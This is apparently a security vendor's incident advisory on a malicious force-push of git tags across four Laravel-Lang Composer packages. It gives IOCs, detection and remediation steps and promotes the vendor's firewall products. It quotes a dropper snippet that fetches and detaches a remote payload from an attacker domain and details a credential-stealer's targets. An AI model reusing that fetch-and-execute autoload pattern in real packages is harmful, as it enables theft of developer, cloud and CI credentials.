Laravel Lang Composer supply chain compromise: RCE backdoor force-pushed across 700+ git tags

devsecops, ASPM, vulnerability management, application security, exposure management, reachability analysis, attack surface management, npm supply chain, account takeover, TeamPCP, Mini Shai-Hulud, atool, AntV, jest-canvas-mock, echarts-for-react, Runner.Worker memory scraping, zero-CVE supply chain, CI/CD credential theft, bun runtime, t.m-kosche.com, SBOM

Executive summary

On May 22, 2026, an attacker with push access to the Laravel-Lang GitHub organization rewrote every existing git tag across four community-maintained Composer packages (laravel-lang/lang, http-statuses, attributes, and actions) to point at fresh malicious commits. Rewrites started at 22:32 UTC and finished by 00:00 UTC on May 23. No new versions were published; the attacker reused version numbers consumers already trusted.

Each poisoned commit adds src/helpers.php to composer.json’s autoload.files map, which fires on require vendor/autoload.php (every Laravel and Symfony bootstrap). The dropper fetches a PHP loader and ELF binary from flipboxstudio.info (a typosquat of flipboxstudio.com) and runs a 17-collector information stealer targeting AWS, Kubernetes, Vault, Jenkins, GitHub Actions, browser stores, SSH keys, and VPN configs. StepSecurity confirmed end-to-end exploitation; the chain completes in 3.16 seconds. No CVE has been assigned at the time of publication.

TL;DR for engineering teams

What it is: RCE backdoor introduced by force-pushing every git tag across four Laravel-Lang Composer packages to malicious commits. No CVE assigned.

Where it bites: laravel-lang/lang (502 tags), http-statuses (every tag through v3.4.5), attributes (86 tags), actions (46 tags). Payload runs on require vendor/autoload.php.

Why it matters: Version pinning offers no protection — tags were rewritten in place. A composer update against any permissive constraint resolves directly to a backdoor. Payload steals CI/CD, cloud, Kubernetes, and developer credentials.

Patch status: No clean version exists. Pin to a commit SHA dated before 2026-05-22 22:32 UTC, verified against a local clone or the Packagist dist mirror.

Immediate action: Halt composer update/install runs touching these packages, audit composer.lock for imposter SHAs, rotate every secret reachable from any post-22:32 UTC install environment, block flipboxstudio.info at egress.

Vulnerability overview

FieldValue
Vendor / orgLaravel-Lang (community-maintained, not Laravel core)
Affected packageslaravel-lang/lang, http-statuses, attributes, actions
Vulnerability typeSupply chain compromise via git tag rewrite; RCE via Composer autoload.files
CWECWE-506 (Embedded Malicious Code), CWE-1357 (Insufficiently Trustworthy Component)
CVSS / CVENot assigned
Patch availableNo. Pin to commit SHA dated before 2026-05-22 22:32 UTC.
Active exploitationConfirmed by StepSecurity (Harden-Runner detonation, http-statuses v3.4.5)
DisclosureMay 22, 2026 (StepSecurity, Socket Security)
C2 infrastructureflipboxstudio[.]info (typosquat of flipboxstudio.com)

Technical anatomy

Root cause: trust in mutable git tags

Composer resolves a version constraint to a git tag and ships whatever commit that tag currently points to. Git tags are mutable references; a maintainer with push access can recreate any tag against any commit, including commits unreachable from any branch. Packagist follows tag rewrites by default.

The attacker force-pushed every tag in the four target repositories to new malicious commits within a 15-minute window. GitHub shows the banner “This commit does not belong to any branch on this repository” on each poisoned tag. The second-stage trigger is Composer’s autoload.files map: psr-4 and classmap are lazy, but autoload.files is eager and runs every listed file the moment vendor/autoload.php is required. Adding src/helpers.php to that map turns application boot into payload execution.

The malicious commit

Each poisoned commit modifies exactly two files. composer.json gets a new autoload.files entry:

"autoload": {
    "files": ["src/helpers.php"]
}

src/helpers.php contains the dropper. It resolves its C2 host dynamically with array_map(‘chr’, […]) to evade static-string scans, fetches the stage-two payload over HTTPS (TLS verification disabled, Mozilla User-Agent), writes it to a random hidden filename, and detaches execution:

$sh = implode(array_map('chr', [/* ... */]));  // → flipboxstudio.info
$payload = file_get_contents("https://$sh/payload", false, $ctx);
$f = sys_get_temp_dir() . '/.laravel_locale/' . bin2hex(random_bytes(6)) . '.php';
file_put_contents($f, $payload);
@exec("php \"$f\" > /dev/null 2>&1 &");

The Windows branch uses a WSH WScript.Shell object for equivalent detached execution.

Three-step exploit path

  1. Entry: composer install or composer update resolves a vulnerable constraint to a poisoned tag.
  2. Trigger: require vendor/autoload.php walks autoload.files and includes src/helpers.php. The dropper executes synchronously in the PHP process.
  3. Impact: Stage-two PHP loader and ELF binary fetched from flipboxstudio.info, run detached, harvest secrets, POST to /exfil, then self-delete. Loader processes reparent to PID 1 and run from memory.

Stage two: the PHP information stealer

Socket Security identifies a Stealer class orchestrating 17 collectors. Stolen data is XOR-encrypted with the hardcoded key k9X2mP7vL4nQ8wR1 before exfil. A per-host marker (MD5 of install path, architecture, inode) ensures the loader runs once per machine.

CollectorTargets
AwsCollector / CloudCollectorEC2 IMDS at 169.254.169.254, IAM credentials, instance identity; gcloud, Azure, DigitalOcean, Heroku, Netlify, Vercel configs
K8sCollectorService-account tokens, kubeconfig, Helm registry config
VaultCollectorHashiCorp Vault tokens + recursive KV dump
CiCdCollectorJenkins master.key/credentials.xml, GitLab Runner, GitHub Actions, CircleCI, TravisCI, ArgoCD
CryptoCollectorBTC/ETH/Monero wallets, MetaMask/Phantom/Trust Wallet, seed.txt/recovery.txt
BrowserCollector + ChromiumDecryptorChrome, Edge, Firefox, Brave, Opera. Embedded DebugChromium.exe bypasses Chrome v127+ App-Bound Encryption
PasswordManagerCollector1Password, Bitwarden, LastPass, KeePass, Dashlane, NordPass
ProcessCollectorLinux /proc/[pid]/environ and /proc/[pid]/cmdline
WindowsCredentialCollectorcmdkey, vaultcmd, .rdp, PuTTY/WinSCP saved sessions
MessagingCollectorDiscord and Slack leveldb session tokens
FtpCollectorFileZilla, WinSCP, CoreFTP
EmailCollectorOutlook, Thunderbird
FileCollectorDocker auth, SSH keys, .gitconfig, shell history, .env, wp-config.php, docker-compose.yml
EnvCollectorEnv vars matching KEY/SECRET/API/TOKEN/PASSWORD/AWS_/AZURE_/GCP_/STRIPE_
GitCollector.gitconfig, .git-credentials, .netrc
VpnCollectorOpenVPN, WireGuard, NetworkManager, NordVPN, ExpressVPN, CyberGhost, Mullvad

Detonation evidence (StepSecurity Harden Runner)

StepSecurity detonated laravel-lang/http-statuses v3.4.5 in an isolated GitHub Actions runner with Harden-Runner in audit mode. Full chain — autoload to self-delete — completed in 3.16 seconds.

00:17:45.972  php (pid 2804)            [workflow: Autoload package]
00:17:47.012    └─ sh (pid 2805) → php /tmp/.laravel_locale/f3e2c293172f.php &
00:17:47.013        └─ php (pid 2806, ppid=1)   [reparented to init]
00:17:48.129            └─ sh (pid 2813) → nohup /tmp/.480dc608 &
00:17:48.130                └─ /tmp/.480dc608 (pid 2814, ppid=1)  [reparented]
00:17:49.134                    ├─ rm /tmp/.laravel_locale/f3e2c293172f.php
00:17:49.135                    └─ rm /tmp/.480dc608

Both implant processes end up with ppid=1 after their shell parents exit, surviving the workflow step boundary and decoupling their network calls from the runner user in audit trails. They continue executing from memory after on-disk files are deleted, so a forensic snapshot taken three seconds late finds no artifacts.

Network calls:

00:17:46.055  pid 2804 (workflow php)   GET   https://flipboxstudio.info/payload
00:17:47.156  pid 2806 (orphan loader)  POST  https://flipboxstudio.info/exfil

On an unprotected runner, the POST body likely carries $GITHUB_TOKEN, $GITHUB_ENV contents, the secret files staged in $RUNNER_TEMP/_runner_file_commands/, and anything from /proc/<runner pid>/environ.

Affected versions

Every tag across all four repositories has been rewritten. There is no safe latest version. The only safe pin is a commit SHA dated before 2026-05-22 22:32 UTC.

laravel-lang/lang

All 502 tags rewritten between 22:32 UTC and 23:24 UTC. Sample malicious commits:

TagMalicious commit SHASource
15.29.5a5ea2e8fa92ccf29cdb1d2dadbeb27722b2bff37StepSecurity
15.29.4User-supplied IOC
15.29.3User-supplied IOC
15.29.2User-supplied IOC
15.29.150ac0db454d19234c835716f297bbc5363c0a25cStepSecurity
15.29.0User-supplied IOC
13.12.0User-supplied IOC
12.24.2User-supplied IOC
11.0.19User-supplied IOC
10.9.5User-supplied IOC
9.1.2User-supplied IOC
8.1.3User-supplied IOC
7.0.9User-supplied IOC
2.0.4c45764e70285146da37025cd8601a921ab8a7edaStepSecurity
1.0.2a9f8d88cf98e35988d3d0fd6d79547f980853041StepSecurity
Remaining 487 tagsSame patternGitHub tag timestamps

laravel-lang/http-statuses

Every tag from v1.0.0 through v3.4.5 rewritten. This is the package StepSecurity used for the Harden-Runner detonation.

TagMalicious commit SHA
v3.4.5bba2e443dc7ff1f8704f52a5375383e3f4f643b8
v3.4.026c233e1a0d4fd2331e8e0f175e18f8eed904aa3
v3.0.0db0c3ef246103fd0f6c318e0d48f26b5289044c3
v2.0.09ee599d248cc322fa26054694a83a1f4558cc716
v1.0.06b1d5782a8c8c199d070857802d39bfe609eb6f2
Remaining tagsSame pattern

laravel-lang/attributes

All 86 tags rewritten.

TagMalicious commit SHA
v2.4.1d59561727927117e65b35f0183cae131baad19fe
2.6.01713b19cbf609cb101ff5e216be41f7224269082
2.5.0daa5212264bb73fb39fe7a36618b62717dc564a5
Remaining tagsSame pattern

laravel-lang/actions

All 46 tags from 1.0.0 through 1.12.2 rewritten.

TagMalicious commit SHA
1.12.2556d2b335d4d6d92139822017ee461b668afe375
1.10.0722cee67326d932e7f71ba3438f62a255d779aa9
1.0.0ad24b980db8f0dca50ccb3ba6badb3c2331e0ef4
Remaining tagsSame pattern

Exposure analysis

EnvironmentRiskReason
CI/CD pipelinesCriticalGITHUB_TOKEN, deploy keys, registry credentials, provider tokens all in the runner process env. CiCdCollector targets these directly.
Cloud workloads (EC2, GKE, AKS)CriticalAwsCollector queries IMDS for IAM credentials. K8sCollector reads service-account tokens. One compromised pod yields cluster-wide credentials.
Developer laptopsHighBrowser stores, SSH keys, password manager vaults, Discord/Slack tokens, crypto wallets. DebugChromium.exe bypasses Chrome v127+ App-Bound Encryption.
Internet-exposed PHP servicesHighPayload runs on every PHP-FPM request until worker recycles. DB credentials, API keys, Vault tokens from env vars all exposed.
Composer install without bootLowDropper only fires on autoload. Static analysis still detects helpers.php in vendor/.

Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today

Real-world impact

laravel-lang/lang is one of the most depended-upon community packages in the Laravel ecosystem, pulled by countless starter kits, admin panels, and SaaS boilerplates. Any consumer that ran composer update between 22:32 UTC on May 22 and the mitigation window pulled a poisoned tarball. Version-string pins are not safe; the tag was rewritten in place. Only consumers pinned to a pre-22:32 commit SHA in composer.lock and running composer install (not update) against that lockfile are unaffected. Blast radius from a single CI infection: stolen GITHUB_TOKEN unlocks the GitHub org, stolen IAM credentials open the AWS account, stolen K8s tokens compromise the cluster, stolen Docker auth poisons the container registry, and any victim publishing its own packages from that pipeline becomes a downstream vector.

Detection guidance

Network indicators

  • Outbound HTTPS to flipboxstudio[.]info (block, alert, search historical logs)
  • GET /payload and POST /exfil on flipboxstudio[.]info
  • DNS resolution for flipboxstudio.info from CI runners, build hosts, or developer machines

Filesystem indicators (self-delete in <3s)

  • /tmp/.laravel_locale/<12-hex>.php (hidden PHP loader)
  • /tmp/.<8-hex> ELF binary (sample: /tmp/.480dc608)
  • src/helpers.php in any vendored laravel-lang/* — the durable on-disk indicator

Process indicators (visible after self-delete)

  • ps auxf — orphaned php with ppid=1
  • Orphaned unnamed ELF with ppid=1 executing from a deleted /tmp path
  • lsof -p <pid> — executable mapped from deleted file

Git indicators

  • Commit author “Your Name” / “you@example.com” on any tag in a Laravel-Lang repo
  • Commit timestamps between 2026-05-22 22:32 UTC and 2026-05-23 00:00 UTC
  • Commits modifying only composer.json and src/helpers.php
  • GitHub banner “This commit does not belong to any branch on this repository”

Verification steps

  1. Grep every composer.lock for the four package names; note resolved commit SHAs.
  2. Match resolved SHAs against the Affected versions tables above.
  3. Flag any composer.lock with laravel-lang/* dist URLs and a packages[].time after 2026-05-22T22:32:00Z.
  4. Search CI/CD egress logs for flipboxstudio.info hits across the full retention window, not just the disclosure window.
  5. On affected hosts: ps -ef | awk ‘$3==1’ and inspect /tmp.

Remediation guidance

Immediate actions

  1. Stop composer update and stop composer install runs lacking a known-good lockfile for any project depending on the four packages. laravel-lang/lang is the highest-priority triage target.
  2. Inspect composer.lock for resolved commit SHAs matching the malicious commit list. If your lockfile was regenerated on or after 2026-05-22 22:32 UTC, treat the project as compromised pending verification.
  3. Rotate every secret reachable from any environment where an affected install ran on or after 2026-05-22 22:32 UTC: GITHUB_TOKEN, GitHub PATs, AWS/GCP/Azure credentials, container registry credentials, deploy keys, DB credentials, application secrets in env vars.
  4. Audit the affected hosts: ps auxf for orphaned php/ELF with ppid=1; /tmp for the artifact patterns above.
  5. Add flipboxstudio.info to every egress blocklist, firewall rule, and DNS sinkhole at the DNS, proxy, and runner egress layers.

Pinning to a clean commit

Pin via a dev-* constraint with a #SHA suffix, against a SHA you have independently verified (local clone pre-2026-05-22, Packagist dist tarball mirror, or trusted fork):

"require": {
    "laravel-lang/lang": "dev-master#<verified-pre-2026-05-22-sha>",
    "laravel-lang/http-statuses": "dev-master#<verified-pre-2026-05-22-sha>",
    "laravel-lang/attributes": "dev-master#<verified-pre-2026-05-22-sha>",
    "laravel-lang/actions": "dev-master#<verified-pre-2026-05-22-sha>"
}

Do not pin to a version string. Every tag has been rewritten.

Temporary mitigations

  • Block flipboxstudio.info at the network edge — breaks the chain even if the dropper runs
  • Run Composer with COMPOSER_DISABLE_NETWORK=1 against an existing lockfile to prevent re-resolution
  • Enforce Harden-Runner egress allowlisting on GitHub Actions runners
  • Use composer audit (Composer 2.4+) once an advisory is published

Blue Shield: blocking the install at the agent and CI/CD edge

Detection alone does not stop this attack. By the time Composer’s autoloader fires src/helpers.php, the C2 call has happened and runner secrets are in flight. Blue Shield enforces earlier, refusing the install of any version flagged in Phoenix’s Malware Package Intelligence feed (phxintel.security/malware.html).

BLUE SHIELD — TWO ENFORCEMENT POINTS, ONE INTEL FEED

CI/CD Firewall — MITM proxy between package manager and registry. Blocks composer install / npm ci / pip install on known-malicious versions. Returns HTTP 403; build fails cleanly.

Agent Firewall — MCP server + PreToolUse hook for Claude Code, Cursor, Codex, Windsurf, Cline, Aider. Blocks installs initiated by AI coding agents, returns a for_llm_reasoning narrative so the agent can act on the block.

Both Apache 2.0. Both consume phxintel.security/malware.html.

CI/CD Firewall. Single binary, PATH shim install in CI mode, no pipeline rewrites required:

eval $(phoenix-firewall --api-key $PHOENIX_API_KEY --ci)
composer install  # protected — known-malicious versions blocked at fetch

Available as a drop-in GitHub Action (Security-Phoenix-demo/firewall-action@v1) and templates for GitLab CI, Jenkins, Azure DevOps, and Bitbucket. Applied to this incident: a Laravel pipeline running composer install against the poisoned packages fails at fetch. The dropper never executes; runner secrets never leave.

Agent Firewall. MCP server exposing phoenix_check_package, phoenix_check_lockfile, phoenix_check_diff, and four supporting tools. One config block wires it into any MCP-capable agent:

// .mcp.json
{
  "mcpServers": {
    "phoenix-firewall": {
      "command": "npx",
      "args": ["-y", "@phoenix-security/mcp-firewall"],
      "env": { "PHOENIX_API_KEY": "${PHOENIX_API_KEY}" }
    }
  }
}

Why it matters here: an agent trained before May 22 has no knowledge that Laravel Lang is compromised. The Phoenix intel feed updates in near-real-time, so the agent firewall blocks at the install moment regardless of model training cutoff.

Phoenix Security recommendations

No CVE, no scanner alert. This is the gap CVE-anchored vulnerability management leaves open. Above Blue Shield enforcement, Phoenix Security closes the operational side:

  • Contextual deduplication — all four packages and every poisoned version roll into one campaign, not thousands of alerts
  • Reachability analysis — ranks which apps boot the autoloader in a credentialed context
  • Threat-centric campaigns — create from the IOC list, assign owners, track fix verification
  • Ownership attribution — maps each affected repo to the responsible team
  • Attack surface management — surfaces internet-exposed Laravel apps first

Blue Shield keeps the malicious versions out of the build. Phoenix ASPM tells you where the existing exposure lives and who fixes it.

Per-package summary

PackageSummary
laravel-lang/langFlagship Laravel translations package. All 502 tags rewritten, 22:32–23:24 UTC May 22. Highest triage priority — almost every Laravel app using non-English locales depends on it. Confirmed tags: 15.29.0–15.29.5, 13.12.0, 12.24.2, 11.0.19, 10.9.5, 9.1.2, 8.1.3, 7.0.9, plus older 2.0.4 and 1.0.2.
laravel-lang/http-statusesLocalized HTTP status messages. Every tag from v1.0.0 through v3.4.5 rewritten. The package StepSecurity detonated for end-to-end exploitation proof.
laravel-lang/attributesLocalized validation attribute names. All 86 tags rewritten. Usually pulled alongside lang.
laravel-lang/actionsHelper actions for Laravel-Lang translation packages. All 46 tags from 1.0.0 through 1.12.2 rewritten. Smaller install base but common on developer machines where credential exposure is high.

Indicators of compromise

CategoryIndicatorNotes
C2 domainflipboxstudio[.]infoTyposquat of flipboxstudio.com
C2 endpointsGET /payload, POST /exfilStage-two fetch and exfil
XOR keyk9X2mP7vL4nQ8wR1Hardcoded in stage two
Dropped PHP loader/tmp/.laravel_locale/<12-hex>.phpSample: f3e2c293172f.php
Dropped ELF binary/tmp/.<8-hex>Sample: /tmp/.480dc608
Embedded Windows binaryDebugChromium.exeBypasses Chrome v127+ App-Bound Encryption
Commit authorYour Name / you@example.comAcross all four repos
Attack window2026-05-22 22:32 UTC → 2026-05-23 00:00 UTCAll tag rewrites completed
Malicious filesrc/helpers.php in vendored packageRegistered under autoload.files
Process indicatorOrphaned php and ELF with ppid=1Reparent to init after parent shell exits
Execution duration3.16 secondsAutoload to self-delete (StepSecurity)

External references

Primary research credit: Socket Security (stage-two stealer analysis) and StepSecurity (Harden-Runner detonation, network capture, security issues on all four repos).

  1. Socket Security — Laravel Lang Compromised with RCE Backdoor Across 700+ Versions, May 23, 2026.
  2. StepSecurity — Laravel-Lang Supply Chain Attack, Varun Sharma, May 22, 2026.
  3. Aikido Security — Public disclosure of suspicious Laravel Lang activity.
  4. Phoenix MPI feedphxintel.security/malware.html
  5. Blue Shield CI/CD Firewall
  6. Blue Shield Agent Firewall
  7. StepSecurity GitHub issues — Laravel-Lang/lang#8295, http-statuses#277, actions#1193, attributes#1085
  8. Composer autoload.files docs

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

An attacker with push access to the Laravel-Lang GitHub organization force-rewrote 700+ git tags across 4 Composer packages on May 22, 2026, injecting an RCE backdoor that fires on every PHP application boot. No CVE was assigned — version pinning offered zero protection. The attack stole CI/CD, cloud, and Kubernetes credentials in 3.16 seconds flat.
Francesco Cipollone
MEGALODON_CI is an active zero-CVE campaign poisoning GitHub Actions workflow files across 3,500+ confirmed public repositories. Automated commits inject a base64-encoded credential harvester that exfiltrates AWS, GCP, and Azure secrets, OIDC tokens, SSH keys, and package registry credentials in a single runner execution. No CVE exists — every traditional scanner is blind to it.
Francesco Cipollone
TeamPCP (UNC6780) breached GitHub’s internal infrastructure on May 19–20, 2026 through a poisoned VS Code extension that ran silently on a developer’s endpoint and exfiltrated approximately 3,800 internal repositories. The attack produced no CVE. Standard CVE-feed scanners, SCA tools, and signed-provenance checks all missed it. This is exactly the zero-CVE developer trust surface gap Phoenix Blue Intelligence and Phoenix Blue Shield are built to close.
Francesco Cipollone
TeamPCP’s Mini Shai-Hulud worm hit GitHub and PyPI simultaneously on May 19–20, 2026. Three backdoored versions of durabletask — Microsoft’s Azure Python SDK with 417,000 monthly downloads — were published and yanked within hours. A poisoned VS Code extension on a GitHub employee device led to the exfiltration of ~3,800 internal repositories, now listed for sale at $50,000. Zero CVEs exist across the entire nine-week campaign. Traditional scanners have no record of any of it.
Francesco Cipollone
OpenAI has disclosed two employee devices were compromised in the May 11, 2026 Mini Shai-Hulud TanStack supply chain attack, with internal source code repositories accessed and iOS, macOS, and Windows code-signing certificates rotated. Mistral AI confirmed one developer device was hit and is facing a $25,000 TeamPCP extortion demand for an alleged 5 GB source code leak. Days later, TeamPCP launched a $1,000 Monero “supply chain attack contest” on BreachForums with the Shai-Hulud worm source code attached, and OX Security disclosed the first observed copycat campaign from a new actor publishing four malicious npm packages. Phoenix Security’s PHX-Neural scanner has independently flagged a 174,659-weekly-download PyPI package (nicegui 3.12.0) with a 100/100 behavioral score and full Shai-Hulud-aligned ATT&CK coverage. This article covers the upstream TanStack wave, the named victim disclosures, the TeamPCP infrastructure aging analysis, the technical breakdown of the four copycat packages, and the PHX-Neural behavioral evidence on the adjacent PyPI signal.
Francesco Cipollone
Contents
Derek

Derek Fisher

Head of product security at a global fintech

Derek Fisher – Head of product security at a global fintech. Speaker, instructor, and author in application security.

Derek is an award winning author of a children’s book series in cybersecurity as well as the author of “The Application Security Handbook.” He is a university instructor at Temple University where he teaches software development security to undergraduate and graduate students. He is a speaker on topics in the cybersecurity space and has led teams, large and small, at organizations in the healthcare and financial industries. He has built and matured information security teams as well as implemented organizational information security strategies to reduce the organizations risk.

Derek got his start in the hardware engineering space where he learned about designing circuits and building assemblies for commercial and military applications. He later pursued a computer science degree in order to advance a career in software development. This is where Derek was introduced to cybersecurity and soon caught the bug. He found a mentor to help him grow in cybersecurity and then pursued a graduate degree in the subject.

Since then Derek has worked in the product security space as an architect and leader. He has led teams to deliver more secure software in organizations from multiple industries. His focus has been to raise the security awareness of the engineering organization while maintaining a practice of secure code development, delivery, and operations.

In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

Jeevan Singh

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

christophe

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris

Chris Romeo

Co-Founder
Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

jim

Jim Manico

Founder of Manicode Security

Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

The IKIGAI concept
x  Powerful Protection for WordPress, from Shield Security PRO
This Site Is Protected By
Shield Security PRO